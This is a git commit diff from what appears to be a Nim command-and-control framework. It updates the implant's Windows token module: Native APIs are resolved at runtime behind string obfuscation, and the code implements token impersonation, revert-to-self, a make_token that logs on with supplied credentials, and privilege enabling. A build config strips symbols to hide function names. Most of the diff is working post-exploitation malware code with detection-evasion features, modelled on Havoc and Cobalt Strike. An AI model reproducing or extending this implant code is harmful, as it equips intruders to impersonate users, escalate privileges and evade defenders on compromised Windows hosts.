Implemented most token functionality using Native APIs instead of Windows APIs.

This commit is contained in:
Jakob Friedl
2025-10-19 18:05:20 +02:00
parent 35bb4d8869
commit a4f37b5ceb
4 changed files with 143 additions and 78 deletions

View File

@@ -4,6 +4,8 @@ import ../../common/[types, utils]
#[ #[
Token impersonation & manipulation Token impersonation & manipulation
Resources:
- https://maldevacademy.com/new/modules/57 - https://maldevacademy.com/new/modules/57
- https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/ - https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c - https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c
@@ -16,39 +18,61 @@ type
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.} NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
ConvertSidToStringSidA = proc(sid: PSID, stringSid: ptr LPSTR): NTSTATUS {.stdcall.} ConvertSidToStringSidA = proc(sid: PSID, stringSid: ptr LPSTR): NTSTATUS {.stdcall.}
NtSetInformationThread = proc(hThread: HANDLE, threadInformationClass: THREADINFOCLASS, threadInformation: PVOID, threadInformationLength: ULONG): NTSTATUS {.stdcall.}
NtDuplicateToken = proc(existingTokenHandle: HANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, effectiveOnly: BOOLEAN, tokenType: TOKEN_TYPE, newTokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtAdjustPrivilegesToken = proc(hToken: HANDLE, disableAllPrivileges: BOOLEAN, newState: PTOKEN_PRIVILEGES, bufferLength: ULONG, previousState: PTOKEN_PRIVILEGES, returnLength: PULONG): NTSTATUS {.stdcall.}
NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.}
Apis = object
NtOpenProcessToken: NtOpenProcessToken
NtOpenThreadToken: NtOpenThreadToken
NtQueryInformationToken: NtQueryInformationToken
ConvertSidToSTringSidA: ConvertSidToSTringSidA
NtSetInformationThread: NtSetInformationThread
NtDuplicateToken: NtDuplicateToken
NtAdjustPrivilegesToken: NtAdjustPrivilegesToken
NtClose: NtClose
proc initApis(): Apis =
let hNtdll = GetModuleHandleA(protect("ntdll"))
result.NtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
result.NtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
result.NtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(hNtdll, protect("NtQueryInformationToken")))
result.ConvertSidToStringSidA = cast[ConvertSidToStringSidA](GetProcAddress(GetModuleHandleA(protect("advapi32.dll")), protect("ConvertSidToStringSidA")))
result.NtSetInformationThread = cast[NtSetInformationThread](GetProcAddress(hNtdll, protect("NtSetInformationThread")))
result.NtDuplicateToken = cast[NtDuplicateToken](GetProcAddress(hNtdll, protect("NtDuplicateToken")))
result.NtClose = cast[NtClose](GetProcAddress(hNtdll, protect("NtClose")))
result.NtAdjustPrivilegesToken = cast[NtAdjustPrivilegesToken](GetProcAddress(hNtdll, protect("NtAdjustPrivilegesToken")))
const const
CURRENT_THREAD = cast[HANDLE](-2)
CURRENT_PROCESS = cast[HANDLE](-1) CURRENT_PROCESS = cast[HANDLE](-1)
CURRENT_THREAD = cast[HANDLE](-2)
proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE = proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
let apis = initApis()
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
hToken: HANDLE hToken: HANDLE
let hNtdll = GetModuleHandleA(protect("ntdll"))
let
pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to # https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to
status = pNtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken) status = apis.NtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
status = pNtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken) status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex()) raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
return hToken return hToken
proc sidToString(sid: PSID): string = proc sidToString(apis: Apis, sid: PSID): string =
let pConvertSidToStringSidA = cast[ConvertSidToStringSidA](GetProcAddress(GetModuleHandleA(protect("advapi32.dll")), protect("ConvertSidToStringSidA")))
var stringSid: LPSTR var stringSid: LPSTR
discard pConvertSidToStringSidA(sid, addr stringSid) discard apis.ConvertSidToStringSidA(sid, addr stringSid)
return $stringSid return $stringSid
proc sidToName(sid: PSID): string = proc sidToName(apis: Apis, sid: PSID): string =
var var
usernameSize: DWORD = 0 usernameSize: DWORD = 0
domainSize: DWORD = 0 domainSize: DWORD = 0
@@ -63,7 +87,7 @@ proc sidToName(sid: PSID): string =
return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)] return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)]
return "" return ""
proc privilegeToString(luid: PLUID): string = proc privilegeToString(apis: Apis, luid: PLUID): string =
var privSize: DWORD = 0 var privSize: DWORD = 0
# Retrieve required size # Retrieve required size
@@ -77,16 +101,13 @@ proc privilegeToString(luid: PLUID): string =
#[ #[
Retrieve and return information about an access token Retrieve and return information about an access token
]# ]#
proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: string] =
proc getTokenStatistics(hToken: HANDLE): tuple[tokenId, tokenType: string] =
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
returnLength: ULONG = 0 returnLength: ULONG = 0
pStats: TOKEN_STATISTICS pStats: TOKEN_STATISTICS
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken"))) status = apis.NtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
status = pNtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Statistics ") & $status.toHex()) raise newException(CatchableError, protect("NtQueryInformationToken - Token Statistics ") & $status.toHex())
@@ -96,15 +117,13 @@ proc getTokenStatistics(hToken: HANDLE): tuple[tokenId, tokenType: string] =
return (tokenId, tokenType) return (tokenId, tokenType)
proc getTokenUser(hToken: HANDLE): tuple[username, sid: string] = proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
returnLength: ULONG = 0 returnLength: ULONG = 0
pUser: PTOKEN_USER pUser: PTOKEN_USER
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken"))) status = apis.NtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [1] ") & $status.toHex()) raise newException(CatchableError, protect("NtQueryInformationToken - Token User [1] ") & $status.toHex())
@@ -113,21 +132,19 @@ proc getTokenUser(hToken: HANDLE): tuple[username, sid: string] =
raise newException(CatchableError, $GetLastError()) raise newException(CatchableError, $GetLastError())
defer: LocalFree(cast[HLOCAL](pUser)) defer: LocalFree(cast[HLOCAL](pUser))
status = pNtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength) status = apis.NtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [2] ") & $status.toHex()) raise newException(CatchableError, protect("NtQueryInformationToken - Token User [2] ") & $status.toHex())
return (sidToName(pUser.User.Sid), sidToString(pUser.User.Sid)) return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
proc getTokenGroups(hToken: HANDLE): string = proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
returnLength: ULONG = 0 returnLength: ULONG = 0
pGroups: PTOKEN_GROUPS pGroups: PTOKEN_GROUPS
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken"))) status = apis.NtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
status = pNtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [1] ") & $status.toHex()) raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [1] ") & $status.toHex())
@@ -136,7 +153,7 @@ proc getTokenGroups(hToken: HANDLE): string =
raise newException(CatchableError, $GetLastError()) raise newException(CatchableError, $GetLastError())
defer: LocalFree(cast[HLOCAL](pGroups)) defer: LocalFree(cast[HLOCAL](pGroups))
status = pNtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength) status = apis.NtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [2] ") & $status.toHex()) raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [2] ") & $status.toHex())
@@ -146,17 +163,15 @@ proc getTokenGroups(hToken: HANDLE): string =
result &= fmt"Group memberships ({groupCount})" & "\n" result &= fmt"Group memberships ({groupCount})" & "\n"
for i, group in groups.toOpenArray(0, int(groupCount) - 1): for i, group in groups.toOpenArray(0, int(groupCount) - 1):
result &= fmt" - {sidToString(group.Sid):<50} {sidToName(group.Sid)}" & "\n" result &= fmt" - {apis.sidToString(group.Sid):<50} {apis.sidToName(group.Sid)}" & "\n"
proc getTokenPrivileges(hToken: HANDLE): string = proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
returnLength: ULONG = 0 returnLength: ULONG = 0
pPrivileges: PTOKEN_PRIVILEGES pPrivileges: PTOKEN_PRIVILEGES
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken"))) status = apis.NtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
status = pNtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [1] ") & $status.toHex()) raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [1] ") & $status.toHex())
@@ -165,7 +180,7 @@ proc getTokenPrivileges(hToken: HANDLE): string =
raise newException(CatchableError, $GetLastError()) raise newException(CatchableError, $GetLastError())
defer: LocalFree(cast[HLOCAL](pPrivileges)) defer: LocalFree(cast[HLOCAL](pPrivileges))
status = pNtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength) status = apis.NtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [2] ") & $status.toHex()) raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [2] ") & $status.toHex())
@@ -176,23 +191,82 @@ proc getTokenPrivileges(hToken: HANDLE): string =
result &= fmt"Privileges ({privCount})" & "\n" result &= fmt"Privileges ({privCount})" & "\n"
for i, priv in privs.toOpenArray(0, int(privCount) - 1): for i, priv in privs.toOpenArray(0, int(privCount) - 1):
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled" let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled"
result &= fmt" - {privilegeToString(addr priv.Luid):<50} {enabled}" & "\n" result &= fmt" - {apis.privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
proc getTokenInfo*(hToken: HANDLE): string = proc getTokenInfo*(hToken: HANDLE): string =
let (tokenId, tokenType) = hToken.getTokenStatistics()
let apis = initApis()
let (tokenId, tokenType) = apis.getTokenStatistics(hToken)
result &= fmt"TokenID: 0x{tokenId}" & "\n" result &= fmt"TokenID: 0x{tokenId}" & "\n"
result &= fmt"Type: {tokenType}" & "\n" result &= fmt"Type: {tokenType}" & "\n"
let (username, sid) = hToken.getTokenUser() let (username, sid) = apis.getTokenUser(hToken)
result &= fmt"User: {username}" & "\n" result &= fmt"User: {username}" & "\n"
result &= fmt"SID: {sid}" & "\n" result &= fmt"SID: {sid}" & "\n"
result &= hToken.getTokenGroups() result &= apis.getTokenGroups(hToken )
result &= hToken.getTokenPrivileges() result &= apis.getTokenPrivileges(hToken)
proc impersonateToken*(hToken: HANDLE) = #[
discard Impersonate token
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281
]#
proc impersonate*(apis: Apis, hToken: HANDLE) =
var
status: NTSTATUS
qos: SECURITY_QUALITY_OF_SERVICE
oa: OBJECT_ATTRIBUTES
impersonationToken: HANDLE = 0
returnLength: ULONG = 0
duplicated: bool = false
if apis.getTokenStatistics(hToken).tokenType == protect("Primary"):
# Create a duplicate impersonation token
qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE))
qos.ImpersonationLevel = securityImpersonation
qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING
qos.EffectiveOnly = FALSE
oa.Length = cast[DWORD](sizeof(OBJECT_ATTRIBUTES))
oa.RootDirectory = 0
oa.ObjectName = NULL
oa.Attributes = 0
oa.SecurityDescriptor = NULL
oa.SecurityQualityOfService = addr qos
status = apis.NtDuplicateToken(hToken, TOKEN_IMPERSONATE or TOKEN_QUERY, addr oa, FALSE, tokenImpersonation, addr impersonationToken)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtDuplicateToken ") & $status.toHex())
else:
# Use the original token if it is already an impersonation token
impersonationToken = hToken
# Impersonate the token in the current thread (ImpersonateLoggedOnUser)
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr impersonationToken, cast[ULONG](sizeof(HANDLE)))
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtSetInformationThread ") & $status.toHex())
defer: discard apis.NtClose(impersonationToken)
#[
Revert to original access token
RevertToSelf() API implemented using Native API
]#
proc rev2self*() =
let apis = initApis()
var
status: NTSTATUS = 0
hToken: HANDLE = 0
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr hToken, cast[ULONG](sizeof(HANDLE)))
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("RevertToSelf ") & $status.toHex())
#[ #[
Create a new access token from a username, password and domain name triplet. Create a new access token from a username, password and domain name triplet.
@@ -205,44 +279,40 @@ proc impersonateToken*(hToken: HANDLE) =
changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function. changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function.
]# ]#
proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): string = proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): string =
let apis = initApis()
if username == "" or password == "" or domain == "": if username == "" or password == "" or domain == "":
raise newException(CatchableError, protect("Invalid format.")) raise newException(CatchableError, protect("Invalid format."))
var rev2self()
hToken: HANDLE
hImpersonationToken: HANDLE
var hToken: HANDLE
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE: if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
raise newException(CatchableError, $GetLastError()) raise newException(CatchableError, $GetLastError())
defer: CloseHandle(hToken) defer: discard apis.NtClose(hToken)
if DuplicateTokenEx(hToken, TOKEN_QUERY or TOKEN_IMPERSONATE, NULL, securityImpersonation, tokenImpersonation, addr hImpersonationToken) == FALSE: apis.impersonate(hToken)
raise newException(CatchableError, $GetLastError())
# Revert to self before impersonation
discard RevertToSelf()
if ImpersonateLoggedOnUser(hImpersonationToken) == FALSE:
CloseHandle(hImpersonationToken)
raise newException(CatchableError, $GetLastError())
return hToken.getTokenUser.username return apis.getTokenUser(hToken).username
proc tokenSteal*(pid: int): bool = proc stealToken*(pid: int): bool =
discard discard
proc rev2self*(): bool =
return RevertToSelf()
proc enablePrivilege*(privilegeName: string, enable: bool = true): string = proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
let apis = initApis()
var var
status: NTSTATUS = 0
tokenPrivs: TOKEN_PRIVILEGES tokenPrivs: TOKEN_PRIVILEGES
oldTokenPrivs: TOKEN_PRIVILEGES oldTokenPrivs: TOKEN_PRIVILEGES
luid: LUID luid: LUID
returnLength: DWORD returnLength: DWORD
let hToken = getCurrentToken(TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY) let hToken = getCurrentToken(TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY)
defer: CloseHandle(hToken) defer: discard apis.NtClose(hToken)
if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE: if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE:
raise newException(CatchableError, $GetLastError()) raise newException(CatchableError, $GetLastError())
@@ -252,8 +322,9 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
tokenPrivs.Privileges[0].Luid = luid tokenPrivs.Privileges[0].Luid = luid
tokenPrivs.Privileges[0].Attributes = if enable: SE_PRIVILEGE_ENABLED else: 0 tokenPrivs.Privileges[0].Attributes = if enable: SE_PRIVILEGE_ENABLED else: 0
if AdjustTokenPrivileges(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength) == FALSE: status = apis.NtAdjustPrivilegesToken(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength)
raise newException(CatchableError, $GetLastError()) if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtAdjustPrivilegesToken ") & $status.toHex())
let action = if enable: protect("Enabled") else: protect("Disabled") let action = if enable: protect("Enabled") else: protect("Disabled")
return fmt"{action} {privilegeToString(addr luid)}." return fmt"{action} {apis.privilegeToString(addr luid)}."

View File

@@ -3,6 +3,6 @@
-d:release -d:release
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511" -d:MODULES="511"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -86,7 +86,6 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
# Sort sessions table based on first checkin # Sort sessions table based on first checkin
component.agents.sort(cmp) component.agents.sort(cmp)
for row, agent in component.agents: for row, agent in component.agents:
igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f) igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f)
if igTableSetColumnIndex(0): if igTableSetColumnIndex(0):
@@ -128,13 +127,12 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
if igTableSetColumnIndex(9): if igTableSetColumnIndex(9):
let duration = now() - agent.firstCheckin.fromUnix().local() let duration = now() - agent.firstCheckin.fromUnix().local()
let totalSeconds = duration.inSeconds let totalSeconds = duration.inSeconds
let hours = totalSeconds div 3600 let hours = totalSeconds div 3600
let minutes = (totalSeconds mod 3600) div 60 let minutes = (totalSeconds mod 3600) div 60
let seconds = totalSeconds mod 60 let seconds = totalSeconds mod 60
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss") igText(fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago")
igText(fmt"{timeText} ago")
if igTableSetColumnIndex(10): if igTableSetColumnIndex(10):
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local() let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
@@ -144,12 +142,11 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
let minutes = (totalSeconds mod 3600) div 60 let minutes = (totalSeconds mod 3600) div 60
let seconds = totalSeconds mod 60 let seconds = totalSeconds mod 60
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss") let timeText = fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago"
if totalSeconds > agent.sleep: if totalSeconds > agent.sleep:
igTextColored(GRAY, fmt"{timeText} ago") igTextColored(GRAY, timeText)
else: else:
igText(fmt"{timeText} ago") igText(timeText)
# Handle right-click context menu # Handle right-click context menu
# Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected # Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected

View File

@@ -109,9 +109,7 @@ when defined(agent):
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult =
try: try:
echo fmt" [>] Reverting access token." echo fmt" [>] Reverting access token."
rev2self()
if not rev2self():
